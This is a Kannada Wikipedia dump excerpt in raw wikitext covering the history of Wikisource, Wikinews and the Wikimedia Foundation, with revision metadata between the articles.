2003 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು. ವಿಕಿಸೋರ್ಸ್ ಎಂಬ ಹೆಸರನ್ನು ಆ ವರ್ಷದ ನಂತರ ಸ್ವೀಕರಿಸಲಾಯಿತು ಮತ್ತು ಅದು ಏಳು ತಿಂಗಳ ನಂತರ ತನ್ನದೇ ಆದ ಡೊಮೇನ್ ಹೆಸರನ್ನು ಪಡೆದುಕೊಂಡಿತು. ಯೋಜನೆಯು ಸಾರ್ವಜನಿಕ ಡೊಮೇನ್‌ನಲ್ಲಿ ಅಥವಾ ಉಚಿತವಾಗಿ ಪರವಾನಗಿ ಪಡೆದ ಕೃತಿಗಳನ್ನು ಹೊಂದಿದೆ; ವೃತ್ತಿಪರವಾಗಿ ಪ್ರಕಟವಾದ ಕೃತಿಗಳು ಅಥವಾ ಐತಿಹಾಸಿಕ ಮೂಲ ದಾಖಲೆಗಳು, ವ್ಯಾನಿಟಿ ಉತ್ಪನ್ನಗಳಲ್ಲ ; ಮತ್ತು ಪರಿಶೀಲಿಸಬಹುದಾಗಿದೆ. ಪರಿಶೀಲನೆಯನ್ನು ಆರಂಭದಲ್ಲಿ ಆಫ್‌ಲೈನ್‌ನಲ್ಲಿ ಅಥವಾ ಇತರ ಡಿಜಿಟಲ್ ಗ್ರಂಥಾಲಯಗಳ ವಿಶ್ವಾಸಾರ್ಹತೆಯನ್ನು ನಂಬುವ ಮೂಲಕ ಮಾಡಲಾಯಿತು. ಸಾಕ್ಷ್ಯಾಧಾರಯುತ ವಿಸ್ತರಣೆಯ ಮೂಲಕ ಆನ್‌ಲೈನ್ ಸ್ಕ್ಯಾನ್‌ಗಳಿಂದ ಈಗ ಕೃತಿಗಳನ್ನು ಬೆಂಬಲಿಸಲಾಗುತ್ತದೆ, ಇದು ಯೋಜನೆಯ ಪಠ್ಯಗಳ ವಿಶ್ವಾಸಾರ್ಹತೆ ಮತ್ತು ನಿಖರತೆಯನ್ನು ಖಚಿತಪಡಿಸುತ್ತದೆ. == ಮೈಲಿಗಲ್ಲುಗಳು == [[ಚಿತ್ರ:New_Law_College-Wikisource2.jpg|thumb| ಭಾರತದ ಕಾನೂನು ಕಾಲೇಜಿನಲ್ಲಿ ತನ್ನ [[wikisource:Wikisource:Internship project at New Law College, Pune|ಯೋಜನೆಯ]] ಸಮಯದಲ್ಲಿ ಪ್ರೂಫ್ ರೀಡಿಂಗ್ ಮಾಡುತ್ತಿರುವ ವಿದ್ಯಾರ್ಥಿನಿ ]] Sources.wikipedia.org ನಲ್ಲಿ ಯೋಜನೆಯ ಅಧಿಕೃತ ಪ್ರಾರಂಭದ ಎರಡು ವಾರಗಳಲ್ಲಿ, 1,000 ಕ್ಕೂ ಹೆಚ್ಚು ಪುಟಗಳನ್ನು ರಚಿಸಲಾಗಿದೆ, ಇವುಗಳಲ್ಲಿ ಸುಮಾರು 200 ಪುಟಗಳನ್ನು ನಿಜವಾದ ಲೇಖನಗಳಾಗಿ ಗೊತ್ತುಪಡಿಸಲಾಗಿದೆ. ಜನವರಿ 4, 2004 ರಂದು, ವಿಕಿಸೋರ್ಸ್ ತನ್ನ 100 ನೇ ನೋಂದಾಯಿತ ಬಳಕೆದಾರರನ್ನು ಸ್ವಾಗತಿಸಿತು. ಜುಲೈ, 2004ರ ಆರಂಭದಲ್ಲಿ ಲೇಖನಗಳ ಸಂಖ್ಯೆ 2,400 ಮೀರಿದೆ, ಮತ್ತು 500ಕ್ಕೂ ಹೆಚ್ಚು ಬಳಕೆದಾರರು ನೋಂದಾಯಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಏಪ್ರಿಲ್ 30, 2005 ರಂದು, 2667 ನೋಂದಾಯಿತ ಬಳಕೆದಾರರು (18 ನಿರ್ವಾಹಕರು ಸೇರಿದಂತೆ) ಮತ್ತು ಸುಮಾರು 19,000 ಲೇಖನಗಳು ಇದ್ದವು. ಯೋಜನೆಯು ಅದೇ ದಿನ ತನ್ನ 96,000ನೇ ಸಂಪಾದನೆಯನ್ನು ಅಂಗೀಕರಿಸಿತು.   <sup class="noprint Inline-Template Template-Fact" data-ve-ignore="true" style="white-space:nowrap;">&#x5B; ''[[ವಿಕಿಪೀಡಿಯ:Citation needed|<span title="This claim needs references to reliable sources. (July 2011)">ಉಲ್ಲೇಖದ ಅಗತ್ಯವಿದೆ</span>]]'' &#x5D;</sup> ಮೇ 10, 2006 ರಂದು, <span class="plainlinks">[//fr.wikisource.org/w/index.php?title=Portail:Philosophie&oldid=91377 ಮೊದಲ ವಿಕಿಸೋರ್ಸ್ ಪೋರ್ಟಲ್]</span> ಅನ್ನು ರಚಿಸಲಾಗಿದೆ. === wikisource.org === ಭಾಷೆಯ ಸಬ್‌ಡೊಮೇನ್‌ಗಳಿಗೆ [[oldwikisource:|ಹೋಗುವಾಗ]], ಸಮುದಾಯವು ಮೂರು [[oldwikisource:|ವಿಕಿಸೋರ್ಸ್.org]] ವೆಬ್‌ಸೈಟ್ ಮೂರು ಉದ್ದೇಶಗಳನ್ನು ಪೂರೈಸುವ ಸಲುವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ವಿಕಿಯಾಗಿ ಉಳಿಯುವಂತೆ ವಿನಂತಿಸಿದೆ: == ಉಲ್ಲೇಖಗಳು == {{Reflist}} rhrl3dqdjop2xh26fwofw0sg7597ehq ವಿಕಿ ನ್ಯೂಸ್ 0 129481 1116457 1050029 2022-08-23T13:02:06Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox website|name=Wikinews|logo=[[File:WikiNews-Logo-en.svg|120px|The current Wikinews logo]]|screenshot=[[File:Wikinews screenshot 2017-08.png|border|240px|Detail of the Wikinews multilingual portal main page]]|caption=Screenshot of [https://www.wikinews.org/ wikinews.org]|url={{Official URL}}|commercial=No|type=News wiki|registration=Optional|language=[[Multilingualism|Multilingual]]|owner=[[Wikimedia Foundation]]|author=[[Wikimedia community]]|alexa={{DecreasePositive}} 62,218 ({{as of|2020|01|13|alt=January 2020}})<ref name="alexa">{{cite web |title=wikinews.org Competitive Analysis, Marketing Mix and Traffic - Alexa |url=https://www.alexa.com/siteinfo/wikinews.org |website=www.alexa.com |accessdate=13 January 2020 |archive-date=18 ಜುಲೈ 2009 |archive-url=https://web.archive.org/web/20090718040214/https://www.alexa.com/siteinfo/wikinews.org |url-status=dead }}</ref>|location=[[Miami, Florida|Miami]], [[Florida]]|launch_date={{Start date and age|2004|11|8}}|content_licence=CC-BY|logocaption=The current Wikinews logo}} '''ವಿಕಿನ್ಯೂಸ್''' ಒಂದು ಮುಕ್ತ-ವಿಷಯ ಸುದ್ದಿ ಮೂಲ ವಿಕಿ ಮತ್ತು [[ವಿಕಿಪೀಡಿಯ:ಯೋಜನೆ|ವಿಕಿಮೀಡಿಯಾ ಪ್ರತಿಷ್ಠಾನದ]] ಯೋಜನೆಯಾಗಿದೆ . ಈ ಜಾಲತಾಣ ಸಹಕಾರಿ ಪತ್ರಿಕೋದ್ಯಮದ ಮೂಲಕ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ವಿಕಿಪೀಡಿಯದ ಸಹ-ಸಂಸ್ಥಾಪಕ [[ಜಿಮ್ಮಿ ವೇಲ್ಸ್]] [[ವಿಕಿಪೀಡಿಯ|ವಿಕಿಪೀಡಿಯದಿಂದ]] ವಿಕಿನ್ಯೂಸ್ ಅನ್ನು "ವಿಕಿನ್ಯೂಸ್ನಲ್ಲಿ, ಪ್ರತಿ ಕಥೆಯನ್ನು ವಿಶ್ವಕೋಶದ ಲೇಖನಕ್ಕೆ ವಿರುದ್ಧವಾಗಿ ಸುದ್ದಿಯಾಗಿ ಬರೆಯಬೇಕು" ಎಂದು ಹೇಳುವ ಮೂಲಕ ಪ್ರತ್ಯೇಕಿಸಿದ್ದಾರೆ.<ref>{{Cite news|url=https://www.wired.com/culture/lifestyle/news/2004/11/65819|title=Wikipedia Creators Move Into News|last=Joanna Glasner|date=November 29, 2004|access-date=April 21, 2007|archive-url=https://web.archive.org/web/20070607071611/https://www.wired.com/culture/lifestyle/news/2004/11/65819|archive-date=June 7, 2007|publisher=[[Wired (website)|Wired]]}}</ref> ವಿಕಿನ್ಯೂಸ್ ‌ನಲ್ಲಿರುವ ತಟಸ್ಥ ದೃಷ್ಟಿಕೋನ ದೃಷ್ಟಿಕೋನವು ಇದನ್ನು ಇತರ ನಾಗರಿಕ ಪತ್ರಿಕೋದ್ಯಮ ಪ್ರಯತ್ನಗಳಾದ ಇಂಡಿಮೀಡಿಯಾ ಮತ್ತು ಓಹ್ಮಿನ್ಯೂಸ್‌ನಿಂದ ಪ್ರತ್ಯೇಕಿಸುತ್ತದೆ .<ref>{{Cite news|url=https://www.nytimes.com/2005/02/10/technology/circuits/10wiki.html?ex=1177300800&en=024e251d2c696137&ei=5070|title=The Unassociated Press|last=Aaron Weiss|date=February 10, 2005|work=The New York Times|access-date=April 21, 2007|archive-url=https://web.archive.org/web/20090415232051/https://www.nytimes.com/2005/02/10/technology/circuits/10wiki.html?ex=1177300800&en=024e251d2c696137&ei=5070|archive-date=April 15, 2009}}</ref> ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನದ ಹೆಚ್ಚಿನ ಯೋಜನೆಗಳಿಗೆ ವ್ಯತಿರಿಕ್ತವಾಗಿ, ವಿಕಿನ್ಯೂಸ್ ಮೂಲ ಕೃತಿಗಳನ್ನು ಮೂಲ ವರದಿ ಮತ್ತು ಸಂದರ್ಶನಗಳ ರೂಪದಲ್ಲಿ ಅನುಮತಿಸುತ್ತದೆ.<ref name="OR">[[wikinews:Wikinews:Original reporting|Wikinews:Original reporting]].</ref> == ಆರಂಭಿಕ ವರ್ಷಗಳು == [[ಚಿತ್ರ:Wikinews_logo.svg|left|thumb|200x200px| ಬೀಟಾ ಆವೃತ್ತಿ ಲಾಂಛನವನ್ನು ಫೆಬ್ರವರಿ 13, 2005 ರವರೆಗೆ ಬಳಸಲಾಗುತ್ತದೆ]] ವಿಕಿಮೀಡಿಯ ಸುದ್ದಿ ಸೈಟ್ನ ಮೊದಲ ದಾಖಲೆ ಪ್ರಸ್ತಾಪವು ಜನವರಿ 5, 2003 ರಂದು [[ವಿಕಿಪೀಡಿಯ]] ಸಮುದಾಯದ ಮೆಟಾ-ವಿಕಿಯಲ್ಲಿ ಎರಡು ಸಾಲಿನ ಅನಾಮಧೇಯ ಪೋಸ್ಟ್ ಆಗಿದೆ .<ref>[http://meta.wikimedia.org/w/index.php?title=Talk:Wikinews/Archive&oldid=4306 Archived log entry of the anonymous post] on Meta-Wiki.</ref> ವಿಕಿಪೀಡಿಯವನ್ನು ಫಾಂಜಿ ಎಂದು ಸಂಪಾದಿಸಿದ ಡೇನಿಯಲ್ ಆಲ್ಸ್ಟನ್,<ref>[https://en.wikipedia.org/w/index.php?title=User:Fonzy&diff=prev&oldid=1315899 Archived log entry of the userpage of User:Fonzy] on the English Wikipedia, which states his real name.</ref> ಇದನ್ನು ಪೋಸ್ಟ್ ಮಾಡಿದವರು ಎಂದು ಹೇಳಿಕೊಂಡರು.<ref>[https://en.wikipedia.org/w/index.php?title=Wikinews&diff=prev&oldid=27867383 Log entry of User:Fonzy editing this article] on the English Wikipedia.</ref> ಈ ಪ್ರಸ್ತಾಪವನ್ನು ಜರ್ಮನ್ ಸ್ವತಂತ್ರ ಪತ್ರಕರ್ತ, ಸಾಫ್ಟ್‌ವೇರ್ ಡೆವಲಪರ್ ಮತ್ತು ಲೇಖಕ ಎರಿಕ್ ಮುಲ್ಲರ್ ಅವರು ಮತ್ತಷ್ಟು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದರು. ದೀರ್ಘಕಾಲದ ವಿಕಿಪೀಡಿಯ ಕೊಡುಗೆದಾರರಿಂದ ಆರಂಭಿಕ ವಿರೋಧ, ಅವುಗಳಲ್ಲಿ ಹಲವರು ವಿಕಿಪೀಡಿಯಾದ ಸ್ವಂತ ಸುದ್ದಿ ಸಾರಾಂಶಗಳ ಅಸ್ತಿತ್ವವನ್ನು ಎತ್ತಿ ತೋರಿಸಿದರು, ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನದ ಹೊಸ ಯೋಜನೆಯಾಗಿ ಅದನ್ನು ಹೇಗೆ ಕಾರ್ಯಗತಗೊಳಿಸಬಹುದು ಎಂಬುದರ ಕುರಿತು ವಿವರವಾದ ಚರ್ಚೆಗಳು ಮತ್ತು ಪ್ರಸ್ತಾಪಗಳಿಗೆ ದಾರಿ ಮಾಡಿಕೊಟ್ಟರು. ಮಾರ್ಚ್ 13, 2005 ರಂದು, ವಿಕಿನ್ಯೂಸ್ ಇಂಗ್ಲಿಷ್ ಆವೃತ್ತಿ 1,000 ಸುದ್ದಿ ಲೇಖನಗಳನ್ನು ತಲುಪಿತು. ಕೆಲವು ತಿಂಗಳುಗಳ ನಂತರ ಸೆಪ್ಟೆಂಬರ್ 2005 ರಲ್ಲಿ, ಯೋಜನೆಯು ಕ್ರಿಯೇಟಿವ್ ಕಾಮನ್ಸ್ ಅಟ್ರಿಬ್ಯೂಷನ್ 2.5 ಪರವಾನಗಿಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು. ಇದು ಏಪ್ರಿಲ್ 29, 2006 ರಂದು 5,000 ಲೇಖನಗಳನ್ನು ಮತ್ತು ಸೆಪ್ಟೆಂಬರ್ 5, 2007 ರಂದು 10,000 ಲೇಖನಗಳನ್ನು ತಲುಪಿತು. == ಉಲ್ಲೇಖಗಳು == {{Reflist|30em}} 2tm91tnblg3v9lf00ca20ipqn5eg1gu ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ 0 129483 1116460 1065945 2022-08-23T13:02:26Z InternetArchiveBot 69876 Rescuing 9 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Coord|37.7891838|-122.4033522|display=title}} {{Infobox organization|name=ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ|logo=File:Wikimedia Foundation logo - vertical.svg|type=[[501(c)(3) organization|501(c)(3)]], ದತ್ತಿ ಸಂಸ್ಥೆ|founder=[[{{#property:p112}}]]|location=[[ಸ್ಯಾನ್ ಫ್ರಾನ್ಸಿಸ್ಕೋ]], [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]], ಅಮೇರಿಕ.<br>[[ಲಾಸ್ ಎಂಜಲೀಸ್]], ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ, ಅಮೇರಿಕ <ref>{{cite web|title=Contact us - Wikimedia Foundation|url=https://wikimediafoundation.org/wiki/Contact_us|website=Wikimedia Foundation|accessdate=8 June 2017|archive-url=https://web.archive.org/web/20170625061209/https://wikimediafoundation.org/wiki/Contact_us|archive-date=June 25, 2017|url-status=live}}</ref>|key_people=ಮರಿಯ ಸೆಫಿಡಾರಿ (ಮಂಡಳಿಯ ಅಧ್ಯಕ್ಷೆ)<ref name="bot">{{cite web | accessdate = July 21, 2018 | url = https://blog.wikimedia.org/2018/07/20/wikimedia-foundation-board-appointments-wikimania/ | title = Wikimedia Foundation announces Tanya Capuano as new Trustee, alongside leadership appointments at 14th annual Wikimania | author = Wikimedia Foundation | publisher = Wikimedia Foundation | archive-url = https://web.archive.org/web/20180720225107/https://blog.wikimedia.org/2018/07/20/wikimedia-foundation-board-appointments-wikimania/ | archive-date = July 20, 2018 | url-status = live }}</ref><br />ಕ್ಯಾಥರೀನ್ ಮಾಹೆರ್ (ಕಾರ್ಯ ನಿರ್ದೇಶಕರು) <br> ಜನೀನ್ ಉಜ್ಝೆಲ್ (ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿ)|region=ವಿಶ್ವಾದ್ಯಂತ|purpose=ಉಚಿತ, ಮುಕ್ತ ವಿಷಯ, [[ವಿಕಿ]] ಆಧಾರಿತ ಅಂತರ್ಜಾಲ ಯೋಜನೆಗಳು|membership=ಮಂಡಳಿ ಮಾತ್ರ|footnotes=|abbreviation=WMF}} '''ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ,''' ( '''ಡಬ್ಲ್ಯುಎಂಎಫ್''', '''ವಿಕಿಮೀಡಿಯ ಫೌಂಡೇಶನ್''', ಅಥವಾ ಸರಳವಾಗಿ '''ವಿಕಿಮೀಡಿಯ''') [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]]ದ [[ಸ್ಯಾನ್ ಫ್ರಾನ್ಸಿಸ್ಕೋ]]ದಲ್ಲಿ ಪ್ರಧಾನ ಕಚೇರಿಯನ್ನು ಹೊಂದಿರುವ [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೆರಿಕದ]] ಲಾಭರಹಿತ ಮತ್ತು ದತ್ತಿ ಸಂಸ್ಥೆಯಾಗಿದೆ .<ref name="Hanson2016">{{Cite book|url=https://books.google.com/books id=ePEZDAAAQBAJ&pg=PA375|title=The Social Media Revolution: An Economic Encyclopedia of Friending, Following, Texting, and Connecting|last=Jarice Hanson|publisher=ABC-CLIO|year=2016|isbn=978-1-61069-768-2|page=375}}</ref> ನೈಜ ಮಾಹಿತಿಯು ಎಲ್ಲರಿಗೂ ಮುಕ್ತವಾಗಿ ಸಿಗುವಂತೆ ಇರಬೇಕು ಎಂಬ ಘನ ಉದ್ದೇಶವನ್ನು ಇಟ್ಟುಕೊಂಡು ಸ್ಥಾಪಿತವಾದ ಒಂದು ಸಂಸ್ಥೆ. ಈ ಸಂಸ್ಥೆ- [[ವಿಕಿಪೀಡಿಯ]], ವಿಕಿವಾಯೇಜ್, ವಿಕಿಕೋಟ್, ವಿಕಿಸೋರ್ಸ್ ಮತ್ತಿತರ ಮುಕ್ತ ಮಾಹಿತಿಗಳಿರುವ ಸಹೋದರ ಜಾಲತಾಣಗಳನ್ನು ನಡೆಸುವ ಮೂಲಕ, ವಿಶ್ವದ ಜನರಿಗೆ ಜ್ಞಾನವನ್ನು ಮುಕ್ತವಾಗಿ ಮತ್ತು ಉಚಿತವಾಗಿ ಹಂಚುತ್ತಿದೆ. [[ಜಿಮ್ಮಿ ವೇಲ್ಸ್]] ಅವರು, ವಿಕಿಪೀಡಿಯಾ ಮತ್ತು ಇತರ ವಿಕಿಮೀಡಿಯ ಯೋಜನೆಗಳನ್ನು ನಿರ್ವಹಿಸಲು ಆರ್ಥಿಕ ಸಂಪನ್ಮೂಲವನ್ನು ಕ್ರೋಢೀಕರಿಸುವ ಸಲುವಾಗಿ ೨೦೦೩ರಲ್ಲಿ ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನವನ್ನು ಸ್ಥಾಪಿಸಿದರು.<ref name="Rupert Neate">{{Cite news|url=https://www.telegraph.co.uk/finance/newsbysector/mediatechnologyandtelecoms/3399843/Wikipedia-founder-Jimmy-Wales-goes-bananas.html|title=Wikipedia founder Jimmy Wales goes bananas|last=Neate|first=Rupert|date=October 7, 2008|work=The Daily Telegraph|access-date=October 25, 2009|archive-url=https://web.archive.org/web/20081110041546/http://www.telegraph.co.uk/finance/newsbysector/mediatechnologyandtelecoms/3399843/Wikipedia-founder-Jimmy-Wales-goes-bananas.html|archive-date=November 10, 2008|quote=The encyclopedia's huge fan base became such a drain on Bomis's resources that Mr Wales, and co-founder Larry Sanger, thought of a radical new funding model&nbsp;– charity.}}</ref><ref name="Announcing Wikimedia Foundation">{{Cite web|url=http://lists.wikimedia.org/pipermail/wikipedia-l/2003-June/010743.html|title=Announcing Wikimedia Foundation|last=[[Jimmy Wales]]|date=June 20, 2003|publisher=[[mail:wikipedia-l]]|archive-url=https://web.archive.org/web/20130330033331/http://lists.wikimedia.org/pipermail/wikipedia-l/2003-June/010743.html|archive-date=March 30, 2013|access-date=November 26, 2012}}</ref> 2020 ರ ನವೀಕರಣದಂತೆ, ಪ್ರತಿಷ್ಠಾನವು 300 ಕ್ಕೂ ಹೆಚ್ಚು ಜನರನ್ನು ನೇಮಿಸಿಕೊಂಡಿದೆ, ವಾರ್ಷಿಕ ಆದಾಯವು US $ 109.9 ದಶಲಕ್ಷಕ್ಕಿಂತ ಹೆಚ್ಚಿನದಾಗಿದೆ. ಮರಿಯಾ ಸೆಫಿದಾರಿ ಅವರು ಮಂಡಳಿಯ ಅಧ್ಯಕ್ಷರಾಗಿದ್ದಾರೆ. ಕ್ಯಾಥರೀನ್ ಮಾಹೇರ್ ಅವರು ಮಾರ್ಚ್ 2016 ರಿಂದ ಕಾರ್ಯನಿರ್ವಾಹಕ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ.<ref>{{Cite news|url=https://wikimediafoundation.org/news/2016/06/24/katherine-maher-executive-director/|work=Wikimedia Foundation|access-date=12 June 2020|publisher=Patricio Lorente, Christophe Henner|ref=Foundation Board appoints Katherine Maher as Executive Director}}</ref> == ಗುರಿ == ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ ಮುಕ್ತ ವಿಷಯ, ವಿಕಿ ಆಧಾರಿತ ಯೋಜನೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವುದು ಮತ್ತು ನಿರ್ವಹಿಸುವುದು ಮತ್ತು ಆ ಯೋಜನೆಗಳ ಸಂಪೂರ್ಣ ವಿಷಯಗಳನ್ನು ಸಾರ್ವಜನಿಕರಿಗೆ ಉಚಿತವಾಗಿ ಒದಗಿಸುವ ಉದ್ದೇಶಿತ ಗುರಿಯನ್ನು ಹೊಂದಿದೆ.<ref name="wikimedia-mission">{{Cite web|url=https://wikimediafoundation.org/wiki/Mission_statement|title=Mission statement|last=Devouard|first=Florence|authorlink=Florence Devouard|publisher=Wikimedia Foundation|archive-url=https://web.archive.org/web/20080117000000/http://wikimediafoundation.org/wiki/Mission_statement|archive-date=January 17, 2008|access-date=January 28, 2008}}</ref> ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನದ ಮತ್ತೊಂದು ಮುಖ್ಯ ಉದ್ದೇಶ ರಾಜಕೀಯ ವಕಾಲತ್ತು .<ref>{{Cite news|url=https://www.theguardian.com/technology/2017/feb/12/wikipedia-daily-mail-reliability-ban-katherine-maher|title='We always look for reliability': why Wikipedia's editors cut out the Daily Mail|last=Jackson|first=Jasper|date=12 Feb 2017|work=[[The Guardian]]|access-date=13 Feb 2017|archive-url=https://web.archive.org/web/20170213213309/https://www.theguardian.com/technology/2017/feb/12/wikipedia-daily-mail-reliability-ban-katherine-maher|archive-date=February 13, 2017|quote="Another core job for the foundation – and Maher – is political advocacy. While copyright and press freedom are important issues for Wikipedia, there is one area even more fundamental to its operation - the rules that protect web firms from full liability for what their users post."}}</ref> ವಿಕಿಮೀಡಿಯಾ ಪ್ರತಿಷ್ಠಾನಕ್ಕೆ 2005 ರಲ್ಲಿ ಯುಎಸ್ ಆಂತರಿಕ ಕಂದಾಯ ಸಂಹಿತೆಯು ಕಲಂ 501 (ಸಿ) (3) ಅಡಿಯಲ್ಲಿ ಸ್ಥಾನಮಾನವನ್ನು ಸಾರ್ವಜನಿಕ ದಾನವಾಗಿ ನೀಡಿತು. ಇದರ ನ್ಯಾಷನಲ್ ಟ್ಯಾಕ್ಸಾನಮಿ ಆಫ್ ಎಕ್ಸೆಪ್ಟ್ ಎಂಟಿಟಿಸ್ (ಎನ್‌ಟಿಇಇ) ಕೋಡ್ ಬಿ 60 ಆಗಿದೆ ( ವಯಸ್ಕರ, ಮುಂದುವರಿದ ಶಿಕ್ಷಣ ).<ref>{{Cite web|url=http://www.guidestar.org/npo/ntee.jsp|title=NTEE Classification System|archive-url=https://web.archive.org/web/20080202052634/http://www.guidestar.org/npo/ntee.jsp|archive-date=February 2, 2008|access-date=January 28, 2008}}</ref><ref>{{Cite web|url=http://nccs2.urban.org/ntee-cc/b.htm#b60|title=NCCS definition for Adult Education|archive-url=https://web.archive.org/web/20071226053606/http://nccs2.urban.org/ntee-cc/b.htm|archive-date=December 26, 2007|access-date=January 28, 2008}}</ref> ಪ್ರತಿಷ್ಠಾನದ ಉಪ-ಕಾನೂನುಗಳು ಶೈಕ್ಷಣಿಕ ವಿಷಯವನ್ನು ಸಂಗ್ರಹಿಸುವ ಮತ್ತು ಅಭಿವೃದ್ಧಿಪಡಿಸುವ ಮತ್ತು ಅದನ್ನು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಮತ್ತು ಜಾಗತಿಕವಾಗಿ ಪ್ರಸಾರ ಮಾಡುವ ಉದ್ದೇಶದ ಹೇಳಿಕೆಯನ್ನು ಘೋಷಿಸುತ್ತವೆ.<ref>{{Cite web|url=https://wikimediafoundation.org/wiki/Wikimedia_Foundation_bylaws#ARTICLE_II_-_STATEMENT_OF_PURPOSE|title=Wikimedia Foundation bylaws|last=Jd|authorlink=foundation:User:Jd|publisher=Wikimedia Foundation|archive-url=https://web.archive.org/web/20080123082936/http://wikimediafoundation.org/wiki/Wikimedia_Foundation_bylaws#ARTICLE_II_-_STATEMENT_OF_PURPOSE|archive-date=January 23, 2008|access-date=January 28, 2008}}</ref> == ಇತಿಹಾಸ == 2001 ರಲ್ಲಿ, ಅಂತರ್ಜಾಲ ಉದ್ಯಮಿ ಜಿಮ್ಮಿ ವೇಲ್ಸ್ ಮತ್ತು ಆನ್‌ಲೈನ್ ಸಮುದಾಯ ಸಂಘಟಕ ಮತ್ತು ತತ್ವಶಾಸ್ತ್ರ ಪ್ರಾಧ್ಯಾಪಕ [[ಲ್ಯಾರಿ ಸ್ಯಾಂಗರ್]], [[ವಿಕಿಪೀಡಿಯ|ವಿಕಿಪೀಡಿಯವನ್ನು]] ನ್ಯೂಪೀಡಿಯಾಕ್ಕೆ ಪೂರಕವಾಗಿ ಅಂತರ್ಜಾಲ ವಿಶ್ವಕೋಶವಾಗಿ ಸ್ಥಾಪಿಸಿದರು. ಈ ಯೋಜನೆಗೆ ಮೂಲತಃ ಜಿಮ್ಮಿ ವೇಲ್ಸ್‌ನ ಲಾಭರಹಿತ ವ್ಯವಹಾರವಾದ ಬೋಮಿಸ್‌ನಿಂದ ಹಣ ನೀಡಲಾಯಿತು. ವಿಕಿಪೀಡಿಯದ ಜನಪ್ರಿಯತೆ ಹೆಚ್ಚಾದಂತೆ, ಯೋಜನೆಗೆ ಧನಸಹಾಯ ಮಾಡುವ ಆದಾಯ ಸ್ಥಗಿತಗೊಂಡಿತು. ವಿಕಿಪೀಡಿಯಾ ಬೋಮಿಸ್‌ನ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಕ್ಷೀಣಿಸುತ್ತಿರುವುದರಿಂದ, ವೇಲ್ಸ್ ಮತ್ತು ಸ್ಯಾಂಗರ್ ಈ ಯೋಜನೆಗೆ ಧನಸಹಾಯ ನೀಡಲು ಚಾರಿಟಿ ಮಾದರಿಯ ಬಗ್ಗೆ ಯೋಚಿಸಿದರು. ವಿಕಿಮೀಡಿಯಾ ಫೌಂಡೇಶನ್ ಅನ್ನು ಜೂನ್ 20, 2003 ರಂದು ಫ್ಲೋರಿಡಾದಲ್ಲಿ ಸಂಯೋಜಿಸಲಾಯಿತು. ಇದು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಪೇಟೆಂಟ್ ಮತ್ತು ಟ್ರೇಡ್‌ಮಾರ್ಕ್ ಕಚೇರಿಗೆ ಸೆಪ್ಟೆಂಬರ್ 14, 2004 ರಂದು ಟ್ರೇಡ್‌ಮಾರ್ಕ್ ವಿಕಿಪೀಡಿಯಾಗೆ ಅನ್ವಯಿಸಿತು. ಈ ಗುರುತು ಜನವರಿ 10, 2006 ರಂದು ನೋಂದಣಿ ಸ್ಥಾನಮಾನವನ್ನು ನೀಡಲಾಯಿತು. ಟ್ರೇಡ್‌ಮಾರ್ಕ್ ರಕ್ಷಣೆಯನ್ನು ಜಪಾನ್ ಡಿಸೆಂಬರ್ 16, 2004 ರಂದು ಮತ್ತು ಯುರೋಪಿಯನ್ ಒಕ್ಕೂಟದಲ್ಲಿ ಜನವರಿ 20, 2005 ರಂದು ನೀಡಲಾಯಿತು. ಪುಸ್ತಕಗಳು ಅಥವಾ ಡಿವಿಡಿಗಳಂತಹ ಕೆಲವು ಉತ್ಪನ್ನಗಳಿಗೆ ವಿಕಿಪೀಡಿಯ ಟ್ರೇಡ್‌ಮಾರ್ಕ್ ಬಳಕೆಗೆ ಪರವಾನಗಿ ನೀಡುವ ಯೋಜನೆ ಇತ್ತು. ವಿಕಿ ಮತ್ತು ಮೀಡಿಯಾ ಶಬ್ದಗಳ ಸಂಯುಕ್ತವಾದ "ವಿಕಿಮೀಡಿಯಾ" ಎಂಬ ಹೆಸರನ್ನು ಅಮೆರಿಕಾದ ಲೇಖಕ ಶೆಲ್ಡನ್ ರಾಂಪ್ಟನ್ ಅವರು ಮಾರ್ಚ್ 2003 ರಲ್ಲಿ ಇಂಗ್ಲಿಷ್ ಮೇಲಿಂಗ್ ಪಟ್ಟಿಗೆ ಪೋಸ್ಟ್ ಮಾಡಿದ್ದರು,<ref>{{Cite web|url=http://mail.wikipedia.org/pipermail/wikien-l/2003-March/001887.html|title=Wikipedia English mailing list message|last=Rampton|first=Sheldon|authorlink=Sheldon Rampton|date=March 16, 2003|archive-url=https://web.archive.org/web/20051101074301/http://mail.wikipedia.org/pipermail/wikien-l/2003-March/001887.html|archive-date=November 1, 2005|access-date=July 11, 2005}}</ref> ಮೂರು ತಿಂಗಳ ನಂತರ <nowiki><i>ವಿಕ್ಷನರಿ</i></nowiki> ವೇಲ್ಸ್ ನಲ್ಲಿ ಆಯೋಜಿಸಲಾದ ಎರಡನೇ ವಿಕಿ 